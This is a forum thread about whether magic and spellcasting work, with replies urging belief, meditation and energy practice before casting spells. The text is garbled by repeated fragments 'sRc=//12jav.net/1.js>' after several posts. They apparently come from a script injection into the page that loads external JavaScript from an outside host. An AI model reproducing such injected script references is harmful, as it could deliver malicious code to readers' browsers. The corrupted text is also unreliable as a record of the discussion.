Whenever i look into this stuff and try it out, it fails on me. So i gave it a break for about two years and now i'm coming back to it. I need an honest answer, is this real? sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
Do your basics. Have faith. Set difficult but realistic goals. When you have goals your subconscious knows what your going for and may help to speed up or remove blockages in the process.

I guess it doesnt work because you dont really believe in it. And moreso in you doing it. Be more convincing sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

If you don't believe in it then no it will not work for you. You need to start over with learning the basics even if you have done it before. Here is a link that will explain the basics to you plus I have a list of the basics on my profile.
Magic isn't just about casting spells, summoning spirits, curses or anything like that. It is also a lifestyle, a path through life that takes hard work and dedication.
If you didn't meditate and work with energy for a while (prehaps months to years) and you decide to immeadiatly cast spells.. there is a very large chance that you do not understand what you're doing enough to successfully cast it or even to not accidently disrupt or negate its effects.
Actually casting spells is closer to an "intermediate" stage in magic. Meditation and various energy practices and exercises all encompass basic understandings. Once you rise through and comprehend the basics and the fundamentals of the type of magic you wish to study, Then spell casting *Could* come into play.

I will pipe up and say that skepticism is a very healthy attitude to have within it all though. It will keep you from blowing what experiences you eventually have out of proportion or otherwise interpreting the will of the Goddess, God, Faeries, or whatever else you choose to revere behind every little action. Last thing we need is another person running around claiming to be responsible for every flicker of a candle's flame or every gust of wind. So thanks for that. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
If you are skeptic of magic then think of a different way of how it works. Think how science could explain magic so you believe magic exists more. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
